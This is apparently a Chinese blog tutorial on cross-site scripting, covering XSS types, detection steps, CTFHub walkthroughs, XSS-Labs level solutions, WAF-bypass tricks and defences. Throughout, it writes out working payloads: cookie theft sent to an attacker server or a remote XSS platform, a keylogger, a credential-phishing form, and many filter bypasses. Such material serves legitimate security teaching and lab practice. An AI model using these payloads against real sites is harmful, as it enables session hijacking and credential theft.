2026-07-22
top10漏洞常见基础讲解
00
请注意,本文编写于 115 天前,最后修改于 110 天前,其中某些信息可能已经过时。

目录

一、XSS到底是什么?
二、XSS的三大类型
2.1 反射型XSS(Reflected XSS)
2.2 存储型XSS(Stored XSS)
2.3 DOM型XSS(DOM-based XSS)
DOM 型 Payload 速查
ctfhubDOM反射型
ctfhubDOM跳转型
三、如何判断一个页面是否存在XSS漏洞?
3.1 第一步:找"输入点"和"输出点"
3.2 第二步:插入探测字符串
3.3 第三步:尝试基础Payload
3.4 第四步:确认执行环境
四、XSS的利用方式
4.1 窃取Cookie(最经典)
4.2 键盘记录
4.3 钓鱼(页面篡改)
五、常见绕过技巧(WAF绕过)
5.1 大小写混淆
5.2 双写绕过
5.3 编码绕过
5.4 换标签绕过
5.5 换事件绕过
5.6 伪协议绕过
5.7 空格/换行绕过
5.8 反引号绕过
5.9 注释符绕过
5.10 主动闭合标签
5.11 更改请求方式
5.12 利用JavaScript全局函数
5.13 利用DOM特性(针对DOM型)
六、一个完整的XSS攻击流程(以CTFHub为例)
七、防御思路(了解攻击是为了更好防御)
附:
XSS-Labs 靶场分类、Payload 汇总与常用函数表
一、XSS 三大类型概述
二、XSS-Labs 按"数据来源"子分类
2.1 URL 参数反射型(Level 1 ~ 10 , 15~16)
2.2 HTTP 请求头反射型(Level 11~13)
2.3 文件/组件反射型(Level 14, 17~20)
三、各关常见 Payload 与原理详解
Level 1:无任何过滤
Level 2:闭合 value 属性
Level 3:单引号 + 事件绕过
Level 4:双引号 + 事件绕过
Level 5:a 标签 + javascript 伪协议
Level 6:大小写绕过
Level 7:双写绕过
Level 8:Unicode 编码绕过
Level 9:必须包含 http://
Level 10:隐藏表单注入
Level 11:Referer 头注入
Level 12:User-Agent 头注入
Level 13:Cookie 注入
Level 14:EXIF 图片隐写
Level 15:ng-include 文件包含
Level 16:空格绕过
Level 17~18:embed 属性拼接
Level 19:Flash XSS
Level 20:Flash 反编译
四、常用函数/方法汇总表
4.1 PHP 服务端函数
4.2 前端/浏览器相关
4.3 编码/绕过技巧
五、核心思路速查

从判断到利用再到绕过


一、XSS到底是什么?

XSS(Cross-Site Scripting,跨站脚本攻击)的本质是:攻击者把恶意JavaScript代码"塞"进网页里,让其他用户访问时,浏览器自动执行这段代码。

想象一个场景:你在一个论坛的评论区输入了一段文字,这段文字被服务器保存下来,然后每一个来看这个帖子的人,浏览器都会把你输入的内容显示出来。如果你输入的不是普通文字,而是一段JavaScript代码,而且网站没有做任何过滤,那么每个访问这个页面的人,浏览器都会执行你的代码——这就是XSS。

核心危害:攻击者可以窃取用户的Cookie(登录凭证)、伪造用户操作、钓鱼、键盘记录等。


二、XSS的三大类型

根据恶意代码的"来源"和"触发方式"不同,XSS分为三类:

2.1 反射型XSS(Reflected XSS)

原理:恶意脚本存在于URL中,用户点击一个构造好的恶意链接后,服务器把URL里的参数"反射"回页面,浏览器执行了其中的代码。

特点:

  • 恶意代码不存储在服务器上
  • 需要诱导用户点击特定链接才能触发
  • 通常出现在搜索框、URL参数等位置

实战判断方法(来自CTFHub反射型XSS):

假设页面URL是:

http://example.com/?name=CTFHub

页面显示:Hello, CTFHub

这说明name参数的值被直接输出到了页面上。尝试把name改成: 图片.png

<script>alert(1)</script>

如果页面弹出了写着"1"的对话框,就说明存在反射型XSS漏洞。

利用流程:

  1. 构造带XSS payload的URL
  2. 把URL发给受害者(或提交给Bot)
  3. 受害者点击后,XSS代码在其浏览器中执行
  4. 用XSS平台接收窃取到的Cookie等数据

2.2 存储型XSS(Stored XSS)

原理:恶意脚本被永久存储在服务器的数据库或文件中,任何访问该页面的用户都会触发。

特点:

  • 恶意代码存储在服务器端
  • 不需要诱导点击,用户正常浏览页面就会中招
  • 通常出现在评论区、留言板、昵称、文章标题等位置

实战判断方法(来自CTFHub存储型XSS):

在输入框中输入:

<script>alert(1)</script>

点击提交后,如果页面刷新后自动弹出了对话框,说明这段代码被存进了数据库,每次页面加载都会执行——这就是存储型XSS。

利用流程:

  1. 在留言/评论/昵称处插入XSS payload
  2. 数据被存入数据库
  3. 管理员或其他用户访问该页面时触发XSS
  4. XSS平台接收到Cookie,拿到flag或登录凭证

2.3 DOM型XSS(DOM-based XSS)

什么是DOM? 看看这个

提示

个人认为: DOM 型 XSS 就是在 JavaScript 操作 DOM 树增删改 HTML 时,把用户输入的数据直接当成了 HTML 来解析,导致里面夹带的 JS 代码被执行。效果类似反射型 XSS,也需要诱导用户访问一个构造好的链接才能触发。

但是:

反射型 XSS:恶意输入 → 服务端收到 → 服务端原样输出在响应 HTML 中 → 浏览器解析执行。

DOM 型 XSS:前端 JavaScript 把用户输入的数据,不经处理直接写进了 innerHTML、location.href、document.write 这类能执行代码的 API 里,导致恶意脚本在浏览器端被执行,整个过程服务器完全不知情。

原理:恶意脚本不经过服务器,完全由浏览器端的JavaScript代码处理用户输入时产生。服务器返回的HTML本身是正常的,但前端JS把用户输入"塞"进了DOM树,导致代码执行。

特点:

  • 服务器端可能完全"无辜"
  • 问题出在前端JavaScript代码
  • 常见于innerHTML、location.href、document.write等操作

DOM 型 Payload 速查

场景 1:输入被拼进 href / src 属性

js
javascript:alert(1)

javascript伪协议

场景 2:输入被 innerHTML 插入页面

html
<img src=x onerror=alert(1)> <svg onload=alert(1)>

bf2e0619f319febec35e675c68ae5249.png 场景 3:需要闭合前面的引号/标签 HTML

html
' onmouseover=alert(1) // '><img src=x onerror=alert(1)>

ctfhubDOM反射型

实战案例(来自CTFHub DOM反射):

查看页面源代码,发现这样的代码:

javascript
$("#text")[0].innerHTML = '用户输入的内容';

用户输入最终落入的 API是innerHTML d83ea3243db05686aa131513ee29e9b8.png 这意味着你输入的内容会被直接塞进innerHTML里。innerHTML有一个特性:如果里面包含<script>标签,不会执行;但如果包含事件属性(如onerror)或其他标签,会执行。

所以直接输<script>alert(1)</script>可能不弹窗,需要构造闭合:

';</script><script>alert(1)</script>//

或者使用img标签的onerror事件:

<img src=x onerror=alert(1)>

ctfhubDOM跳转型

实战案例(来自CTFHub DOM跳转):

查看源代码发现:

javascript
var target = location.search.split("=") if (target[0].slice(1) == "jumpto") { location.href = target[1]; }

用户输入最终落入的 API是location.href

这段代码把URL中jumpto参数的值直接赋给了location.href。如果传入:

?jumpto=javascript:alert(1)

利用时(需要加载远程XSS平台JS):

?jumpto=javascript:$.getScript('//ujs.cx/xxx')

$.getScript() 是 jQuery 提供的一个方法,用来动态加载并执行一个外部的 JavaScript 文件。 浏览器会执行javascript:伪协议里的代码,弹出对话框。


三、如何判断一个页面是否存在XSS漏洞?

3.1 第一步:找"输入点"和"输出点"

输入点:你能控制数据的地方

  • URL参数(?name=xxx、?id=xxx)
  • 表单输入框(搜索框、评论框、用户名)
  • HTTP Header(User-Agent、Referer)
  • Cookie

输出点:你的数据被显示出来的地方

  • 页面正文
  • HTML标签属性值
  • JavaScript代码中
  • URL跳转目标

3.2 第二步:插入探测字符串

先插入一个无害但特殊的字符串,观察页面如何渲染它:

<XSS>

然后右键查看页面源代码,搜索<XSS:

  • 如果出现在HTML正文里 → 可能可以构造标签
  • 如果出现在标签属性里 → 可能可以闭合属性后构造事件
  • 如果出现在JavaScript字符串里 → 可能可以闭合引号后执行代码

3.3 第三步:尝试基础Payload

从最基础的开始,逐步升级:

Level 1 - 基础弹窗

html
<script>alert(1)</script>

Level 2 - 事件触发

html
<img src=x onerror=alert(1)>

Level 3 - 伪协议

html
<a href="javascript:alert(1)">点击</a>

Level 4 - 闭合测试 如果页面源代码里有:

html
<input value="用户输入">

尝试输入:

" onmouseover=alert(1) //

变成:

html
<input value="" onmouseover=alert(1) //">

鼠标移上去就会弹窗。

3.4 第四步:确认执行环境

弹窗只是证明漏洞存在,实际利用需要:

  • 用XSS平台生成接收代码
  • 把payload嵌入到能触发的位置
  • 让目标用户(或Bot)访问触发

四、XSS的利用方式

4.1 窃取Cookie(最经典)

Cookie里通常存有用户的登录凭证(Session ID)。窃取Cookie后,攻击者可以在自己的浏览器里"变成"该用户。

XSS平台使用流程(以TLXSS为例):

  1. 在XSS平台注册账号,创建项目
  2. 选择模块(如"超强默认模块")
  3. 复制平台提供的payload,例如:
    html
    <sCRiPt sRC=//ujs.cx/xxx></sCrIpT>
  4. 把这段代码插入到漏洞页面
  5. 等待目标用户访问
  6. 在XSS平台查看记录,获取Cookie、User-Agent、页面源码等信息

自己搭建接收端(如果你有服务器):

html
<!-- 恶意JS文件 xss.js --> var img = new Image(); img.src = "http://你的服务器地址/recv?cookie=" + encodeURIComponent(document.cookie);

然后在XSS漏洞处引入:

html
<script src="http://你的服务器地址/xss.js"></script>

4.2 键盘记录

javascript
document.onkeypress = function(e) { var key = e.key; new Image().src = "http://你的服务器/keys?k=" + key; }

4.3 钓鱼(页面篡改)

javascript
document.body.innerHTML = '<h1>请重新登录</h1><form action="http://攻击者服务器/steal"><input name="user"><input type="password" name="pass"><input type="submit"></form>';

五、常见绕过技巧(WAF绕过)

https://www.freebuf.com/articles/web/340080.html

现实中,网站通常会部署WAF(Web应用防火墙)或代码层过滤。以下是常见的绕过思路:

5.1 大小写混淆

WAF只过滤了小写的<script>?试试大小写混写:

html
<sCrIpT>alert(1)</ScRiPt> <ImG sRc=x OnErRoR=alert(1)>

5.2 双写绕过

如果WAF只替换一次关键字(把<script>替换成空),双写可以绕过:

html
<sc<script>ript>alert(1)</script>

WAF过滤后变成:

html
<script>alert(1)</script>

5.3 编码绕过

HTML实体编码:

html
&lt;script&gt;alert(1)&lt;/script&gt;

(注意:这通常只在特定解析环境下有效)

URL编码:

%3Cscript%3Ealert(1)%3C%2Fscript%3E

5.4 换标签绕过

WAF只过滤了<script>?换其他能执行JS的标签:

html
<img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> <iframe src="javascript:alert(1)"> <input onfocus=alert(1) autofocus> <details open ontoggle=alert(1)>

5.5 换事件绕过

WAF过滤了onclick?试试其他事件:

事件触发条件
onerror图片/资源加载失败时
onload页面/图片加载完成时
onmouseover鼠标移过时
onfocus元素获得焦点时
oninput输入框输入时
onmouseenter鼠标进入元素时
ontoggle<details>标签切换时

5.6 伪协议绕过

html
<a href="javascript:alert(1)">点我</a> <a href="data:text/html,<script>alert(1)</script>">点我</a>

5.7 空格/换行绕过

WAF检测<script>中间不能有空格?用其他空白符:

html
<script%09>alert(1)</script> <!-- %09是Tab --> <script%0a>alert(1)</script> <!-- %0a是换行 -->

5.8 反引号绕过

当单引号和双引号都被过滤时,用反引号:

html
<img src=`javascript:alert("XSS")`>

5.9 注释符绕过

html
<script><!--alert(1)//--></script>

5.10 主动闭合标签

如果输出在已有标签内部,先闭合再注入:

html
原代码:<div class="用户输入"></div> 输入:"><script>alert(1)</script><" 结果:<div class=""><script>alert(1)</script><""></div>

5.11 更改请求方式

有些WAF只检测GET请求,不检测POST、Cookie、Header。尝试把payload放到:

  • POST请求体中
  • Cookie里
  • User-Agent里

5.12 利用JavaScript全局函数

不直接写<script>,用现有JS环境:

html
<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>

(eval执行alert(1)的ASCII编码)

5.13 利用DOM特性(针对DOM型)

如果直接输入被过滤,看看能否通过URL hash触发:

http://example.com/#<img src=x onerror=alert(1)>

有些前端代码会读取location.hash并写入DOM。


六、一个完整的XSS攻击流程(以CTFHub为例)

注册TLXSS ->创建项目-> 点击查看配置编码 图片.png

以存储型XSS为例,串联整个过程:

Step 1 - 判断漏洞 在留言框输入<script>alert(1)</script>,提交后页面自动弹窗 → 确认存在存储型XSS。

Step 2 - 搭建接收端 登录TLXSS平台,创建项目,选择"超强默认模块",复制配置代码:

html
<sCRiPt sRC=//ujs.cx/xxx></sCrIpT>

Step 3 - 植入Payload 把上述代码输入到留言框提交。此时代码被存入数据库。

Step 4 - 触发 管理员(或Bot)访问该页面,浏览器加载并执行了这段代码,向TLXSS平台发送了请求。

Step 5 - 收取成果 在TLXSS平台查看记录,获取到:

  • Cookie(含flag)
  • User-Agent
  • 触发页面URL
  • 触发者IP
  • 页面源码

七、防御思路(了解攻击是为了更好防御)

防御措施原理
输入过滤过滤<、>、"、'、javascript:等危险字符
输出编码把<变成&lt;,让浏览器把它当纯文本显示
CSP(内容安全策略)通过HTTP头限制页面能加载的脚本来源
HttpOnly Cookie设置Cookie的HttpOnly属性,让JS无法读取
X-XSS-Protection浏览器内置的XSS过滤(现代浏览器已逐渐弃用)

附:

XSS-Labs 靶场分类、Payload 汇总与常用函数表


一、XSS 三大类型概述

类型定义特点数据流向
反射型 XSS恶意脚本通过 URL/请求提交,服务器处理后立即回显到页面不持久化,需诱骗用户点击链接触发用户 → 服务器 → 响应页面(一次性)
存储型 XSS恶意脚本被保存到数据库,其他用户浏览时自动触发持久化,危害最大,无需交互用户 → 服务器 → 数据库 → 所有访客
DOM 型 XSS纯前端 JS 处理用户输入(如 URL hash、location.href)导致,不经过服务器服务端看不到 payload,WAF 难检测用户 → 前端 JS → DOM 渲染

⚠️ XSS-Labs 靶场 20 关全部是反射型 XSS(数据从请求来,服务器处理后立即回显,不存入数据库)。部分关卡涉及前端组件(如 ng-include、Flash),但数据仍由服务端注入页面,因此不属严格意义上的 DOM 型。


二、XSS-Labs 按"数据来源"子分类

2.1 URL 参数反射型(Level 1 ~ 10 , 15~16)

关卡参数名注入位置核心过滤机制
Level 1name页面直接输出无过滤
Level 2keyword<input value="...">htmlspecialchars()(上方输出)
Level 3keyword<input value='...'>htmlspecialchars() 默认不转义单引号
Level 4keyword<input value="...">删除 <>
Level 5keyword<input value="...">替换 script→scr_ipt,on→o_n
Level 6keyword<input value="...">过滤关键字 + strtolower()
Level 7keyword<input value="...">str_replace() 删除关键字
Level 8keyword<a href="...">htmlspecialchars() + strtolower()
Level 9keyword<a href="...">同上 + strpos() 检查 http://
Level 10t_sort<input name="t_sort" value="...">仅删除 <>,不转义引号
Level 15srcng-include 属性无特殊过滤
Level 16keyword页面输出删除空格、/、script

2.2 HTTP 请求头反射型(Level 11~13)

关卡数据来源注入位置过滤机制
Level 11$_SERVER['HTTP_REFERER']<input name="t_ref" value="...">htmlspecialchars()
Level 12$_SERVER['HTTP_USER_AGENT']<input name="t_ua" value="...">htmlspecialchars()
Level 13$_COOKIE / Cookie 头<input name="t_cook" value="...">htmlspecialchars()

2.3 文件/组件反射型(Level 14, 17~20)

关卡数据来源注入位置技术点
Level 14图片 EXIF 元数据图片查看器回显EXIF XSS
Level 15URL 参数 srcAngularJS ng-include前端模板注入
Level 17~18URL 参数 arg01/arg02<embed> 标签属性Flash/HTML 属性拼接
Level 19URL 参数 arg01/arg02Flash 变量Flash XSS
Level 20URL 参数 arg01/arg02Flash 反编译代码闭合 + 异常捕获

三、各关常见 Payload 与原理详解

Level 1:无任何过滤

html
<script>alert(1)</script>

原理:直接 echo 输出,无任何转义,<script> 标签被浏览器解析执行。


Level 2:闭合 value 属性

html
"><script>alert(1)</script><"

原理:页面上方输出用了 htmlspecialchars(),但 <input> 的 value 属性中没有转义。用 "> 闭合前面的双引号和标签,插入新脚本。

htmlspecialchars() 是 PHP 里一个专门用来防御 XSS 的函数,它的工作就是把那些对 HTML 有特殊意义的字符,转成纯文本显示的 HTML 实体。

329ef298ffe752f3e60ef49b99f31370.png ecdd3be5432d38178e65fa799115f19a.png

Level 3:单引号 + 事件绕过

html
'onclick='alert(1)

原理:htmlspecialchars() 默认只转义双引号,单引号不转义。用单引号闭合 value=',插入 onclick 事件。

b366d17daeaf38998c671650e73dfec1.png

Level 4:双引号 + 事件绕过

html
"onclick="alert(1)

原理:<> 被删除,无法使用 <script> 标签。改用事件属性,双引号闭合后触发。

2e695c272ddcce13897cbca0b6124763.png

Level 5:a 标签 + javascript 伪协议

html
"><a href=javascript:alert(1)>xss</a><"

原理:script 被替换为 scr_ipt,on 被替换为 o_n,事件和脚本标签都失效。换用 <a> 标签的 href="javascript:" 伪协议,点击时执行 JS。

a01d5eb5c6836853e9d67730dfd89a19.png

Level 6:大小写绕过

html
"><a Href=javascript:alert(1)>xss</a><"

原理:过滤了 href、script 等关键字,没有用 strtolower()。用大写 Href、Script 绕过。

1517a96da63b58260f108dc65472c98d.png

Level 7:双写绕过

html
"><a Hhrefref=javasscriptcript:alert(1)>xss</a><"

原理:str_replace("script", "", $str) 把 script 删除。写成 sscriptcript,删除中间 script 后,剩余 s + cript = script。

d7091337164eb76b8a1f6e445e29cdc7.png

Level 8:Unicode 编码绕过

html
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

原理:htmlspecialchars() + strtolower() 双重过滤。利用 HTML 实体编码(十进制 Unicode),浏览器解析 href 时会自动解码成 javascript:alert(1)。

21f364ff9fa9e4dfb45bcc28aef3218a.png 69f28d0a588a45849310129b98aa03b0.png

Level 9:必须包含 http://

html
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

原理:strpos($str, "http://") 检查必须包含 http://。在 JS 伪协议后用 // 单行注释,把 http:// 注释掉,既满足检查又不影响执行。

26c060b0856e1902a26eed1f3c80bb80.png

Level 10:隐藏表单注入

html
?t_sort=" type="text" onmouseover="alert(1)

原理:t_sort 是唯一活的注入点(t_link 和 t_history 值硬编码为空)。闭合 value=" 后,插入 type="text" 让隐藏框显示,再加事件属性。

431b885ebb95e7bc4ca68fd64c0b65fa.png

0614f17250def402f911bc92f0b39b65.png

Level 11:Referer 头注入

http
Referer: " type="text" onmousemove="alert(1)

原理:$_SERVER['HTTP_REFERER'] 取值直接拼入 value。通过抓包修改 Referer 头,把 payload 写入隐藏 input。

1a2b3e098707f18b5720a05d543fe4cf.png a65805db55da027b8a3fb1a6a0a85c08.png

Level 12:User-Agent 头注入

http
User-Agent: " type="text" onmousemove="alert(1)

原理:同 Level 11,只是注入点换成 $_SERVER['HTTP_USER_AGENT']。


Level 13:Cookie 注入

http
Cookie: user=" type="text" onmousemove="alert(1)

原理:同 Level 11~12,注入点在 Cookie 值。


Level 14:EXIF 图片隐写

bash
exiftool -Artist='"><img src=1 onerror=alert(1)>' brute.jpeg

原理:修改图片 EXIF 元数据,某些图片查看器解析 EXIF 并回显到页面,未过滤导致 XSS。


Level 15:ng-include 文件包含

html
?src='level1.php?name=<img src=1 onerror=alert(1)>'

原理:AngularJS 的 ng-include 包含同域文件。包含 Level 1 并在参数中传入 XSS payload。注意 <script> 在 AngularJS 模板中不直接弹窗,需用 <img onerror> 等。

AngularJS 的机制:当 ng-include 把内容搬过来后,AngularJS 并不会执行嵌入内容中的 <script> 标签。解决方案:攻击者就得换一种方式来执行 JS。所以使用了 标签,利用 src 属性指向一个不存在的图片地址,强制触发 onerror 事件,从而执行 alert(1)。

e1c1539945cbe6a8cb8438a59c5011a1.png

Level 16:空格绕过

html
<svg%0Aonload=alert(1)> <iframe%0asrc=x%0donmouseover=alert`1`></iframe> <img%0Dsrc=1%0Donerror=alert(1)> <img%0asrc=1%0aonerror=alert(1)> <img%0asrc=x%0donError=alert('xss')>

原理:空格、/、script 被过滤。用 URL 编码 %0a(换行符)替代空格,配合 <svg> 标签的 onload 事件。

图片.png

图片.png

Level 17~18:embed 属性拼接

html
?arg01=a&arg02=b onmouseover='alert(1)'

原理:arg01 和 arg02 拼接成 src="xsf01.swf?a=b"。在 arg02 的值后加空格,浏览器把后面的 onmouseover 解析为 embed 标签的另一个属性。


Level 19:Flash XSS

html
?arg01=version&arg02=<a href="javascript:alert(1)">xss</a>

原理:Flash 中的 getURL / navigateToURL 可调用 JS。传入恶意参数让 Flash 执行 JS。


Level 20:Flash 反编译

html
?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

原理:反编译 swf 找到代码执行点,构造闭合 + 异常捕获 catch(e){alert(1)} 执行 JS。


四、常用函数/方法汇总表

4.1 PHP 服务端函数

函数作用XSS-Labs 出现关卡绕过思路
htmlspecialchars($str)将 & " < > 转为 HTML 实体Level 1(上方), 2(上方), 3, 8, 9, 11~13默认不转义单引号(Level 3);可用事件属性、Unicode 编码
htmlspecialchars($str, ENT_QUOTES)同时转义单双引号—若使用此参数,单引号闭合失效,需用其他绕过
str_replace(">", "", $str)删除指定字符Level 4, 10用事件属性代替 <script>;Level 10 只删 <> 不删引号
str_replace("script", "", $str)删除关键字Level 7双写绕过:sscriptcript → 删除后剩 script
strtolower($str)字符串转小写Level 6, 8大小写绕过:Script → 过滤不匹配
strpos($str, "http://")查找子串位置Level 9在 JS 注释后拼接://http://
echo输出内容到页面全部找到未过滤的输出点
$_GET["param"]获取 URL 参数Level 110, 1520控制 URL 参数
$_SERVER['HTTP_REFERER']获取 Referer 头Level 11抓包修改请求头
$_SERVER['HTTP_USER_AGENT']获取 UA 头Level 12抓包修改请求头
$_COOKIE获取 CookieLevel 13浏览器/抓包修改 Cookie

4.2 前端/浏览器相关

属性/协议/组件作用XSS-Labs 出现关卡利用方式
javascript:URL 伪协议,点击时执行 JSLevel 5, 8, 9<a href="javascript:alert(1)">
onclick / onfocus / onmouseoverHTML 事件属性,交互时触发 JSLevel 26, 1013, 16~18闭合引号后插入事件
onerror资源加载失败时触发Level 14, 15<img src=1 onerror=alert(1)>
onload元素加载完成时触发Level 16<svg onload=alert(1)>
autofocus页面加载后自动聚焦Level 10+配合 onfocus 自动触发,无需交互
ng-includeAngularJS 指令,包含外部 HTMLLevel 15包含同域文件并传入 XSS payload
<embed>嵌入外部资源(如 Flash)Level 17~18属性拼接注入事件
data:text/html,Data URI 协议—<iframe src="data:text/html,<script>alert(1)</script>">

4.3 编码/绕过技巧

技巧作用适用场景
&#106;(十进制 Unicode)HTML 实体编码Level 8~9,绕过 htmlspecialchars() + 关键字过滤
%0a / %0dURL 编码换行/回车,替代空格Level 16,绕过空格过滤
//(JS 单行注释)注释掉后面多余代码Level 9,吃掉 http:// 检查后的尾巴
/* */(JS 多行注释)同上通用
"> / '闭合原有 HTML 属性/标签Level 27, 1013,逃出 value 属性
type="text"覆盖 type="hidden"Level 10~13,让隐藏输入框显示出来

五、核心思路速查

第一步:找输出位置 → 页面直显 / input value / a标签href / 隐藏表单 / 请求头 ↓ 第二步:看过滤机制 → 转义了啥?删除了啥?大小写?必须包含什么? ↓ 第三步:对症下药 ├─ 转义了 <> → 用事件属性(onclick/onfocus/onmouseover) ├─ 过滤了 script/on → 用 <a href=javascript:> 伪协议 ├─ 强制小写 → 大小写绕过(Script、OnClick) ├─ 删除关键字 → 双写绕过(sscriptcript) ├─ 全部转义 → Unicode 实体编码(&#106;) ├─ 过滤空格 → %0a 换行替代 └─ 必须包含某字符串 → JS 注释拼接(//http://)